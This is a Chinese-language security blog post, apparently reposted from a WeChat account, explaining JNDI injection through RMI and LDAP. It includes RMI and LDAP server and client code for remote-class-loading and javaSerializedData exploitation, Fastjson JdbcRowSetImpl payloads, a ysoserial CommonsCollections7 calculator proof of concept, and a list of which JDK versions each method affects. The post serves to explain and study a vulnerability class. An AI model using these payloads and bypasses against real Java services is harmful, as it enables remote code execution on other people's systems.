1
Concepts of JNDI
JNDI 全名 Java Naming and Directory Interface,实际上简单来说就是一个接口,应用通过该接口来访问对应的目录服务。好吧,先了解一下目录服务是啥。
JNDI分为了Naming和Directory,对应的命名服务和目录服务。所谓Naming-命名服务,常见的有如DNS,一句话概括来说其实就是我们可以根据某一个具体的名称来获取到其对应的对象。所谓Directory-目录服务,如反序列化中常常见到的ldap就是目录服务中的一种,实际上目录服务可以理解为名称服务的一个扩展。回顾我写过的RMI攻击方式[1]
Naming.bind("rmi://127.0.0.1:1099/hell",helloR);
毫无疑问,作为一个命名服务首先需要将对象和某个名称绑定在一起,也就是所谓的Bindings,而之所以说目录服务是命名服务的扩展是因为目录服务还可以通过属性来搜索对象。
JNDI到底是什么,实际上是java的一个api,通过JNDI可以对不同的目录系统做操作,将不同的目录系统(如RMI和LDAP)放入统一的一个接口中方便使用,其整体架构可看oracle官方文档[2]中给的图:
SPI(Service Provider Interface),即服务供应接口 API是你可以调用或者使用类/接口/方法等去完成某个目标的意思。 SPI是你需要继承或实现某些类/接口/方法等去完成某个目标的意思。 换句话说,API制定的类/方法可以做什么,而SPI告诉你你必须符合什么规范。 有时候SPI和API互相重叠。例如JDBC驱动类是SPI的一部分:如果仅仅是想使用JDBC驱动,你不需要实现这个类,但如果你想要实现JdBC驱动那就必须实现这个类。
-
Lightweight Directory Access Protocol (LDAP)
-
Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
-
Java Remote Method Invocation (RMI) Registry
-
Domain Name Service (DNS)
-
javax.naming
-
javax.naming.directory
-
javax.naming.ldap
-
javax.naming.event
-
javax.naming.spi
2
See RMI and know others
//Register
Registry registry = LocateRegistry.createRegistry(1099);
//Server
String FactoryURL = "http://localhost:18888/";
Reference reference = new Reference("EvilObj","EvilObj",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);
//Client
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("Foo");
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/evil", "autoCommit":true}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/evil", "autoCommit":true}
iiop://127.0.0.1:1099/evil
http://localhost:18888/EvilObj.class
中去加载,有前提条件:com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase为true。(clas != null) ? (ObjectFactory) clas.newInstance() : null;
3
LDAP
-
利用本地Factory类绕过,有Tomcat和SpringBoot以及其他链,参考[6]。
-
利用ldap协议绕过。
-
ObjectClass
-
javaCodebase
-
JavaFactory
-
javaClassName
和
javaFactory这两个属性并生成一个Reference,最后交由javax.naming.spi.NamingManager#getObjectFactoryFromReference来处理,并且将classFactoryLocation赋值给了codebase,最后从codebase中加载factory类并执行初始化造成漏洞的利用:11.0.1
、8u191
、7u201
、6u211
版本时加入了对于ldap的codebase的限制,因此在除了使用ref的利用方式之外,还可以利用SerializedData,同样位于com.sun.jndi.ldap.Obj#decodeObject,还有另一个分支:if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
//javaSerializedData
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class LDAPSeriServerSerData {
public static void main(String[] args) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,
"ldap://127.0.0.1:1389/dc=example,dc=com");
String payloadType = "CommonsCollections7";
String payloadArg = "open /System/Applications/Calculator.app";
//yso中获取payload的Object对象的方法
Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
Context ctx = new InitialContext(env);
ctx.rebind("foo=any", payloadObject);
}
}
public class LDAPClient {
public static void main(String[] args) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,
"ldap://127.0.0.1:1389/dc=example,dc=com");
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext(env);
Object object = ctx.lookup("foo=any");
}
}
4
总结
-
在JDK8u113以及JDK6u132, JDK7u122版本以下,可以使用JNDI + RMI lookup Reference的利用方式。
-
在JDK8u113以及JDK6u132, JDK7u122之后的版本,可以利用存在gadget的本地Factory类,具体可看[6]。
-
11.0.1
、8u191
、7u201
、6u211
版本以下,可以使用JNDI + LDAP lookup Reference的利用方式。 -
11.0.1
、8u191
、7u201
、6u211
之后的版本,可以使用javaSerializedData的利用方式。
END
原文始发于微信公众号(SAINTSEC):JNDI与RMI、LDAP相关的安全问题探讨
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论